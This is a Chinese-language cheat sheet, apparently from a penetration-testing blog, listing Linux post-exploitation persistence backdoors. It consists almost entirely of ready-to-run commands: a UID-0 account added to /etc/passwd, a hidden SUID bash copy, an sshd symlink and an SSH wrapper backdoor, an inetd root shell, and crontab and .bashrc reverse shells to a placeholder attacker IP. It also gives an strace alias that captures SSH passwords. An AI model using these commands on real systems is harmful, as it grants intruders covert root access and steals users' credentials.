创建用户
1 2
| useradd guest;echo 'guest:123456'|chpasswd echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd
|
ssh公钥登录
将公钥放到服务器的.ssh/authorized_keys中,使用私钥登录
suid shell
使用root账户执行如下命令,在某个用户目录下建立一个隐藏的suid文件.233,加点为了隐藏文件
1 2
| cp /bin/bash /home/test/.233 chmod 4755 /home/test/.233
|
之后在每次使用时,以其他普通用户的身份使用-p选项运行此文件,即可获得一个root权限的shell
ssh软连接
创建ssh软连接
1
| ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
|
攻击机连接
inetd
可以通过修改/etc/inetd.conf文件维持权限
1 2 3 4 5
| vi /etc/inetd.conf 添加内容 daytime stream tcp nowait root /bin/bash bash -i 重启服务 service inetd restart
|
攻击者使用nc连接shell
Crontab后门
每天6点反弹shell
1
| 0 6 * * * bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1
|
修改/.bash_profile 和/.bashrc
此类文件在新shell打开时会自动执行,将后门程序写入这类文件可以在每次打开新shell的时候进行一个反弹shell操作
1
| 在文件中添加bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1
|
利用strace窃取ssh密码
1 2 3 4
| vi ~/.bashrc或者/etc/bashrc alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date'+%d%h%m%s'`.log -s 32 ssh' source ~/.bashrc cat /tmp/.sshxxxxx | grep "read(4,"
|
SSH wrapper后门
1 2 3 4 5 6 7 8 9
| cd /usr/sbin/ mv sshd ../bin/ echo ' echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd /etc/init.d/sshd restart 连接: socat STDIO TCP4:target_ip:22,sourceport=13377
|